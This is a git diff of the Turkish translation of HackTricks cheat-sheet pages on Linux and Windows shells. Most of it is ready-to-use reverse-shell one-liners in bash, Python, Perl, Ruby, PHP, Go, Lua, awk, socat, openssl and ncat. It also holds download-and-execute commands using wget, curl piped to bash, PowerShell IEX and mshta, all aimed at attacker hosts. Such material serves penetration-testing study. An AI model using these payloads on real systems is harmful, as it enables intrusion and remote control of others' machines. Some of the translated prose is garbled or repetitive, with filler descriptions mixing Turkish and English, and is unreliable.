grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
**Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -42,6 +42,8 @@ exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; exec >&0 ``` ### Sembol güvenli kabuk + +Diğer kabuklarla da kontrol etmeyi unutmayın: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh ve bash. ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' @@ -52,24 +54,24 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc ``` #### Shell açıklaması -1. **`bash -i`**: Bu komutun bu kısmı etkileşimli bir (`-i`) Bash kabuğunu başlatır. +1. **`bash -i`**: Bu komutun bu kısmı etkileşimli (`-i`) bir Bash kabuğu başlatır. 2. **`>&`**: Bu komutun bu kısmı, **standart çıktı** (`stdout`) ve **standart hata** (`stderr`) çıktılarını **aynı hedefe yönlendirmek** için kısa bir notasyondur. -3. **`/dev/tcp//`**: Bu, belirtilen IP adresine ve porta **TCP bağlantısını temsil eden özel bir dosyadır**. +3. **`/dev/tcp//`**: Bu, belirtilen IP adresine ve porta **TCP bağlantısını temsil eden özel bir dosyadır**. * **Çıktı ve hata akışlarını bu dosyaya yönlendirerek**, komut etkileşimli kabuk oturumunun çıktısını saldırganın makinesine gönderir. -4. **`0>&1`**: Bu komutun bu kısmı, **standart girişi (`stdin`) standart çıktıya (`stdout`) yönlendirir**. +4. **`0>&1`**: Bu komutun bu kısmı, **standart girişi (`stdin`) standart çıktıya (`stdout`)** yönlendirir. ### Dosyada oluştur ve çalıştır ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` -## İleriye Yönlü Kabuk +## İleriye Dönük Kabuk -Linux tabanlı bir web uygulamasında **Uzaktan Kod Yürütme (RCE)** zafiyeti ile uğraşırken, ters kabuk elde etme işlemi iptables kuralları veya karmaşık paket filtreleme mekanizmaları gibi ağ savunmaları tarafından engellenebilir. Bu tür kısıtlı ortamlarda, bir alternatif yaklaşım, kompromize edilmiş sistemle daha etkili etkileşim kurmak için bir PTY (Pseudo Terminal) kabuk oluşturmaktır. +Linux tabanlı bir web uygulamasında **Uzaktan Kod Yürütme (RCE)** zafiyeti ile uğraşırken, ters kabuk elde etmek ağ savunmaları tarafından engellenebilir, örneğin iptables kuralları veya karmaşık paket filtreleme mekanizmaları. Bu tür kısıtlı ortamlarda, alternatif bir yaklaşım, kompromize edilmiş sistemle daha etkili etkileşim kurmak için bir PTY (Pseudo Terminal) kabuğu oluşturmaktır. -Bu amaçla önerilen araç [toboggan](https://github.com/n3rada/toboggan.git)'dır, bu araç hedef ortamla etkileşimi basitleştirir. +Bu amaç için önerilen bir araç [toboggan](https://github.com/n3rada/toboggan.git)'dır, hedef ortamla etkileşimi basitleştirir. -Toboggan'ı etkili bir şekilde kullanmak için, hedef sisteminizin RCE bağlamına uygun bir Python modülü oluşturun. Örneğin, `nix.py` adında bir modül aşağıdaki gibi yapılandırılabilir: +Toboggan'ı etkili bir şekilde kullanmak için, hedef sistemin RCE bağlamına uygun bir Python modülü oluşturun. Örneğin, `nix.py` adında bir modül aşağıdaki gibi yapılandırılabilir: ```python3 import jwt import httpx @@ -93,7 +95,7 @@ response.raise_for_status() return response.text ``` -Ve ardından şunu çalıştırabilirsiniz: +Ve sonra şunu çalıştırabilirsiniz: ```shell toboggan -m nix.py -i ``` @@ -105,7 +107,7 @@ Sadece şunları değiştirmeniz gerekir: * Zafiyetli ana bilgisayarın URL'si * Yükünüzün öneki ve soneki (varsa) -* Yükün gönderildiği şekil (başlıklar mı? veri mi? ek bilgi mi?) +* Yükün gönderildiği şekil (başlıklar mı? veri mi? ekstra bilgi mi?) Daha sonra, sadece **komutlar gönderebilirsiniz** veya hatta tam bir PTY almak için **`upgrade` komutunu kullanabilirsiniz** (boruların yaklaşık 1.3 saniyelik bir gecikme ile okunduğuna ve yazıldığına dikkat edin). @@ -125,7 +127,7 @@ bash -c "$(curl -fsSL gsocket.io/x)" ``` ## Telnet -Telnet, ağ protokolüdür ve birçok işletim sistemi tarafından desteklenir. Bir hedefe erişmek için kullanılabilir ve hedefin komut satırına erişim sağlar. Güvenli olmadığı için şifreler ve diğer hassas bilgiler açısından risklidir. Açık bir port üzerinden hedefe bağlanmak için kullanılabilir. Telnet, bir hedefe erişmek için kullanılan temel bir araçtır. +Telnet, ağızdaki bir protokol olan TCP/IP üzerinden çalışan bir ağ protokolüdür. Telnet, bir bilgisayara uzaktan erişim sağlamak için kullanılır. Telnet, metin tabanlı bir protokol olduğundan, yalnızca metin tabanlı verileri iletebilir ve şifreleme sağlamaz. Bu nedenle, güvenli olmayan bir protokol olarak kabul edilir. Telnet, varsayılan olarak 23 numaralı bağlantı noktasını kullanır. ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f @@ -145,8 +147,6 @@ Komutu göndermek için yazın, enter tuşuna basın ve CTRL+D'ye basın (STDIN' export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done ``` ## Python - -Python, yüksek seviyeli bir programlama dili ve genel amaçlı bir dil olarak popülerdir. Hacking ve siber güvenlik alanında kullanılan birçok araç ve teknik Python dilinde yazılmıştır. Python, basit ve okunabilir sözdizimi ile bilinir ve geniş kütüphane desteği sunar. ```bash #Linux export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' @@ -156,21 +156,21 @@ python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socke ``` ## Perl -Perl, birçok Linux dağıtımında varsayılan olarak yüklü gelen bir programlama dilidir. Perl betikleri, Linux üzerinde hızlı ve etkili bir şekilde çalıştırılabilir. Perl, sistem yönetimi ve ağ programlaması gibi çeşitli alanlarda kullanılan güçlü bir dil olarak bilinir. +Perl, genel amaçlı bir programlama dilidir ve Linux sistemlerinde sıkça kullanılır. Perl betikleri, Linux üzerinde hızlı ve etkili bir şekilde çalışabilir. Perl, metin işleme, dosya manipülasyonu ve sistem yönetimi gibi çeşitli görevler için idealdir. Perl betikleri, Linux üzerinde kabuk betikleri gibi çalışabilir ve genellikle sistem yöneticileri tarafından tercih edilir. ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ## Ruby -Ruby, açık kaynaklı, nesne yönelimli bir programlama dilidir. Ruby, basit ve okunabilir sözdizimi ile dikkat çeker. Ruby programlama dili, Ruby on Rails çerçevesi ile web uygulamaları geliştirmek için sıkça kullanılır. +Ruby, açık kaynaklı, nesne yönelimli bir programlama dilidir. Matz (Yukihiro Matsumoto) tarafından geliştirilmiştir. Ruby, basit ve okunabilir sözdizimi ile bilinir. Çeşitli web uygulamaları ve sistem araçları için kullanılır. ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` ## PHP -PHP, kişisel web sitelerinden büyük kurumsal uygulamalara kadar geniş bir yelpazede kullanılan popüler bir betik dildir. PHP, sunucu taraflı betikleme için özellikle uygun olan açık kaynaklı bir dil olarak bilinir. Web uygulamaları geliştirmek için sıklıkla kullanılır ve genellikle MySQL veritabanı ile entegre edilir. +PHP, sunucu taraflı bir betik dili olduğundan, PHP kabukları genellikle hedef sunucuda yürütülen komutları çalıştırmak için kullanılır. Bu, saldırganın hedef sunucuda komut yürütmesine olanak tanır. Örneğin, saldırganın hedef sunucuda bir ters kabuk açmasına izin veren bir PHP kabuğu yüklemesi mümkündür. ```php // Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using this method may lead to instances where the connection reaches out to the listener and then closes. @@ -183,16 +183,12 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' /dev/tcp/10.10.14.8/4444 0>&1'"); ?> ``` ## Java - -Java, Oracle Corporation tarafından geliştirilen ve popüler bir programlama dilidir. Java, nesne yönelimli bir dil olup, platform bağımsızdır ve genellikle büyük ölçekli uygulamaların geliştirilmesinde kullanılır. Java, çok sayıda kütüphane ve araç sunar ve geniş bir topluluğa sahiptir. ```bash r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` ## Ncat - -Ncat, a modern version of the classic Netcat tool, is a powerful networking utility that can read and write data across networks using TCP or UDP. It is a versatile tool for debugging and investigation during penetration testing. ```bash victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl attacker> ncat -v 10.0.0.22 4444 --ssl @@ -201,13 +197,13 @@ attacker> ncat -v 10.0.0.22 4444 --ssl ### Linux -Golang, Linux'ta oldukça iyi desteklenir ve birçok farklı shell seçeneği vardır. Golang ile yazılmış bir kabuk, hedef sistemde çalıştırılmak üzere derlenebilir. Bu, hedef sistemde özel işlevler gerçekleştirmek için kullanılabilir. Golang ile yazılmış bir kabuk, hedef sistemde çalıştırılmak üzere derlenebilir. Bu, hedef sistemde özel işlevler gerçekleştirmek için kullanılabilir. +Golang is a powerful programming language that is widely used for developing various types of applications. When it comes to Linux, Golang can be used to create powerful shell scripts that can automate tasks, interact with the operating system, and perform various system administration tasks. Golang provides a rich set of libraries and tools that make it easy to work with files, networks, and other system resources on Linux systems. By leveraging Golang's capabilities, hackers can develop sophisticated tools and scripts to exploit vulnerabilities, escalate privileges, and maintain access on Linux systems. ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` ## Lua -Lua, bir betik dili ve hafif bir programlama dili olarak kullanılan bir betik dili ve hafif bir programlama dilidir. Lua, C programlama dili ile kolayca entegre edilebilir ve genellikle oyun geliştirme ve uygulama betikleme için kullanılır. Lua, basit sözdizimi ve hızlı yürütme süresi ile bilinir. Lua, esnek bir dil olup, çeşitli platformlarda çalışabilir. +Lua, bir betik dili ve hafif bir çoklu programlama dilidir. Lua, C programlama dili ile kolayca entegre edilebilir ve genellikle oyun geliştirme endüstrisinde kullanılır. Lua, basit sözdizimi ve hızlı yürütme süresi ile bilinir. Lua betikleri, `.lua` uzantılı dosyalarda saklanır ve Lua yürütücüsü aracılığıyla çalıştırılır. Lua, esnek bir dil olup, çeşitli platformlarda kullanılabilir. ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" @@ -265,9 +261,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` -### Kurban - -Kurban, saldırganın hedef aldığı kişiyi veya cihazı temsil eder. Saldırgan, kurban üzerinde çeşitli saldırı teknikleri kullanarak hassas bilgilere erişmeyi hedefler. Kurban genellikle saldırganın hedefine ulaşmak için zayıf bir halka olarak görülür. +Kurban ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -291,9 +285,21 @@ victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ``` ## Awk -## Awk +### Tanım -Awk, Linux'ta sıkça kullanılan bir metin işleme aracıdır. Metin dosyalarını satır satır okuyarak belirli koşullara uyan satırları işleyebilir ve istenilen çıktıyı üretebilir. Awk, genellikle komut satırında kullanılan bir araçtır ve betik dili olarak da kullanılabilir. Awk'ın esnek ve güçlü yapısı, dosya işleme ve veri çıkarma işlemlerinde oldukça faydalı olabilir. Awk, genellikle diğer Linux komutlarıyla birlikte kullanılarak daha karmaşık işlemler gerçekleştirmek için kullanılır. +Awk, metin ve veri işleme dili olarak kullanılan bir programlama dilidir. Linux sistemlerinde sıkça kullanılan bir araçtır. + +### Kullanım + +Awk, metin dosyalarını satır satır okuyarak belirli desenlere göre işlemler yapmak için kullanılır. Özellikle metin dosyalarında veri çıkartma, filtreleme ve raporlama işlemlerinde sıkça tercih edilir. + +### Örnek + +```bash +awk '/pattern/ {print $1}' file.txt +``` + +Bu komut, `file.txt` dosyasındaki her satırı okur ve `pattern` desenine sahip olan satırların ilk sütununu ekrana yazdırır. ```bash awk 'BEGIN {s = "/inet/tcp/0//"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null ``` @@ -315,7 +321,7 @@ export X=Connected; while true; do X=`eval $(finger "$X"@ 2> /dev/null | gre ### Gawk -Gawk, GNU awk'ın bir uygulamasıdır. Gawk, metin işleme ve veri çıkarma için kullanılan bir programlama dilidir. Gawk, genellikle metin dosyalarını işlemek ve düzenlemek için kullanılır. Gawk, Linux sistemlerinde sıkça kullanılan bir araçtır. +Gawk, GNU Project tarafından geliştirilen bir metin işleme dilidir. Genellikle metin dosyalarını işlemek için kullanılır ve metin tabanlı veri dosyalarını işlemek için oldukça güçlü bir araçtır. Gawk, genellikle komut satırında kullanılan bir araç olup, metin dosyalarını işlemek için düzenli ifadeler ve diğer metin işleme araçları sağlar. ```bash #!/usr/bin/gawk -f @@ -340,11 +346,11 @@ close(Service) ``` ## Xterm -Bu, sistemize 6001 numaralı porta bağlanmaya çalışacaktır: +Bu, sisteminize 6001 numaralı porta bağlanmaya çalışacaktır: ```bash xterm -display 10.0.0.1:1 ``` -Ters kabuk yakalamak için kullanabilirsiniz (port 6001'de dinleyecek): +Ters kabuk yakalamak için kullanabileceğiniz (6001 numaralı bağlantı noktasında dinleyecek): ```bash # Authorize host xhost +targetip @@ -369,7 +375,7 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -379,10 +385,10 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new HackTricks'ı desteklemenin diğer yolları: -* Şirketinizi HackTricks'te **tanıtmak istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! +* Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek istiyorsanız [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz -* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz +* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)'ı takip edin. +* Hacking püf noktalarınızı paylaşarak PR'lar göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/generic-methodologies-and-resources/shells/windows.md b/generic-methodologies-and-resources/shells/windows.md index c5ffef459..0c2529010 100644 --- a/generic-methodologies-and-resources/shells/windows.md +++ b/generic-methodologies-and-resources/shells/windows.md @@ -2,21 +2,21 @@
-Sıfırdan kahramana AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)! +Sıfırdan kahramana AWS hackleme öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile! HackTricks'ı desteklemenin diğer yolları: * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın! * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) -* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**'da takip edin.** -* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. +* [**The PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz +* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)'da takip edin** +* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
**Try Hard Güvenlik Grubu** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -25,7 +25,7 @@ HackTricks'ı desteklemenin diğer yolları: ## Lolbas [lolbas-project.github.io](https://lolbas-project.github.io/) sayfası, Windows için [https://gtfobins.github.io/](https://gtfobins.github.io/) gibi bir şeydir.\ -Açıkçası, **Windows'ta SUID dosyaları veya sudo ayrıcalıkları yoktur**, ancak bazı **dizinlerin** nasıl kullanılabileceğini bilmek **yönlendirilmiş** bazı **işlemler** gerçekleştirmek için **keyifli olabilir.** +Açıkçası, **Windows'ta SUID dosyaları veya sudo ayrıcalıkları yoktur**, ancak bazı **dizinlerin** nasıl kullanılabileceğini bilmek **yönlendirilmiş kodları yürütmek gibi** beklenmeyen bazı eylemleri gerçekleştirmek için **nasıl** (kötüye) **kullanılabilir** olduğunu bilmek faydalıdır. ## NC ```bash @@ -33,7 +33,7 @@ nc.exe -e cmd.exe ``` ## SBD -**[sbd](https://www.kali.org/tools/sbd/) taşınabilir ve güvenli bir Netcat alternatifidir**. Unix benzeri sistemlerde ve Win32'de çalışır. Güçlü şifreleme, program yürütme, özelleştirilebilir kaynak portları ve sürekli yeniden bağlanma gibi özelliklere sahip olan sbd, TCP/IP iletişimi için çok yönlü bir çözüm sunar. Windows kullanıcıları için, Kali Linux dağıtımındaki sbd.exe sürümü, Netcat için güvenilir bir alternatif olarak kullanılabilir. +**[sbd](https://www.kali.org/tools/sbd/) taşınabilir ve güvenli bir Netcat alternatifidir**. Unix benzeri sistemlerde ve Win32'de çalışır. Güçlü şifreleme, program yürütme, özelleştirilebilir kaynak portları ve sürekli yeniden bağlantı gibi özelliklere sahip olan sbd, TCP/IP iletişimi için çok yönlü bir çözüm sunar. Windows kullanıcıları için, Kali Linux dağıtımından sbd.exe sürümü, Netcat için güvenilir bir alternatif olarak kullanılabilir. ```bash # Victims machine sbd -l -p 4444 -e bash -v -n @@ -46,33 +46,34 @@ id uid=0(root) gid=0(root) groups=0(root) ``` ## Python + +Python, birçok Windows kabuğu oluşturma aracı için popüler bir dil olarak kullanılır. Python'un Windows üzerinde çalıştırılabilmesi, çeşitli kabuk oluşturma araçlarının geliştirilmesini kolaylaştırır. Python, Windows API'lerine erişmek için kullanılabilir ve Windows üzerinde işlemler gerçekleştirmek için geniş bir kütüphane desteği sunar. Bu nedenle, Python sıklıkla Windows kabuk oluşturma araçlarında tercih edilen bir dil olarak karşımıza çıkar. ```bash #Windows C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))" ``` ## Perl -Perl, Windows için oldukça popüler bir betikleme dilidir. Perl betikleri, Windows üzerinde hızlı ve etkili bir şekilde çalışabilir. Perl betikleri genellikle dosya işleme, metin işleme ve sistem yönetimi gibi görevler için kullanılır. Perl betikleri, Windows üzerindeki birçok sistem çağrısını doğrudan destekler ve bu da Perl'in Windows üzerinde güçlü bir dil olmasını sağlar. Perl betikleri genellikle `.pl` uzantılı dosyalarda saklanır ve çalıştırılır. Windows'ta Perl betiklerini çalıştırmak için, öncelikle Perl yorumlayıcısını Windows makinenize yüklemeniz gerekir. +Perl, Windows için oldukça popüler bir betikleme dilidir. Windows üzerinde Perl betiklerini çalıştırmak için ActivePerl veya Strawberry Perl gibi Perl dağıtımlarını kullanabilirsiniz. Perl betiklerini Windows üzerinde çalıştırmak için aşağıdaki adımları izleyebilirsiniz: + +1. Bir metin düzenleyici kullanarak Perl betiğinizi oluşturun veya düzenleyin (Örneğin: `script.pl`). +2. Komut istemini açın ve Perl betiğini çalıştırmak için aşağıdaki komutu kullanın: `perl script.pl`. + +Bu adımları takip ederek Windows üzerinde Perl betiklerini başarıyla çalıştırabilirsiniz. ```bash perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` ## Ruby -Ruby, açık kaynaklı bir programlama dilidir. Ruby ile Windows üzerinde çalışan bir shell oluşturmak için **msfvenom** kullanılabilir. Örneğin, Ruby ile bir reverse shell oluşturmak için aşağıdaki komutu kullanabilirsiniz: - -```plaintext -msfvenom -p windows/shell_reverse_tcp LHOST= LPORT= -f rb > shell.rb -``` - -Bu komut, Ruby ile yazılmış bir reverse shell betiği oluşturacaktır. Oluşturulan betiği hedef makinede çalıştırarak bir shell oturumu alabilirsiniz. +Ruby, açık kaynaklı bir programlama dilidir ve genellikle Ruby on Rails web uygulama çerçevesinde kullanılır. Ruby ile Windows üzerinde çalışan bir kabuk oluşturmak için `msfvenom` kullanılabilir. Bu, hedef Windows makinesine bir kabuk yüklemek için kullanılabilir. Kabuk yüklemek için Ruby ile bir kabuk oluşturmak için aşağıdaki adımları izleyebilirsiniz. ```bash #Windows ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` ## Lua -Lua, bir betik dili ve hafif bir çoklu programlama dilidir. Lua, C programlama diline benzer bir sözdizimine sahiptir ve C ile kolayca entegre edilebilir. Lua, oyun geliştirme endüstrisinde sıkça kullanılan bir dil olup, basit ve hızlı bir şekilde betikler yazmak için idealdir. Lua, genellikle oyun motorlarında ve diğer uygulamalarda kullanılan bir betikleme dili olarak tercih edilir. +Lua, bir betik dili ve hafif bir çoklu paradigma programlama dilidir. Lua, C programlama dili ile kolayca entegre edilebilir ve genellikle oyun geliştirme endüstrisinde kullanılır. Lua, basit sözdizimi ve hızlı yürütme süresi ile bilinir. Lua, genellikle betik dili olarak kullanılır ve sistem programlama için uygun değildir. Lua, esnek bir dil olup, çeşitli platformlarda çalışabilir. ```bash lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` @@ -84,7 +85,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` -Hedef +Kurban ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -93,6 +94,8 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` ## Powershell + +Powershell, Windows işletim sistemi için geliştirilmiş bir komut satırı aracıdır. Powershell, Windows sistemlerinde otomasyon görevleri gerçekleştirmek için kullanılır. Powershell, geniş bir yelpazede işlevsellik sunar ve sistem yöneticileri tarafından sıkça tercih edilir. Powershell skriptleri, dosya işlemleri, ağ iletişimi, sistem yapılandırması gibi birçok alanda kullanılabilir. Powershell, Windows işletim sistemi üzerinde güçlü bir araçtır ve siber güvenlik uzmanları tarafından da sıkça kullanılır. ```bash powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex" powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')" @@ -125,11 +128,11 @@ mshta http://webserver/payload.hta ```bash mshta \\webdavserver\folder\payload.hta ``` -#### **hta-psh ters kabuk örneği (hta kullanarak PS arka kapı indirme ve çalıştırma)** +#### **hta-psh ters kabuk örneği (hta kullanarak PS arka kapıyı indirip çalıştırma)** ```xml ``` -**Koadic zombi'sini çok kolay bir şekilde stager hta kullanarak indirebilir ve çalıştırabilirsiniz** +**Koadic zombi dosyasını stager hta kullanarak çok kolay bir şekilde indirebilir ve çalıştırabilirsiniz** #### hta örneği @@ -167,8 +170,6 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ``` #### **Mshta - Metasploit** - -Mshta, Microsoft HTML Application Host, is a utility that executes HTA files. 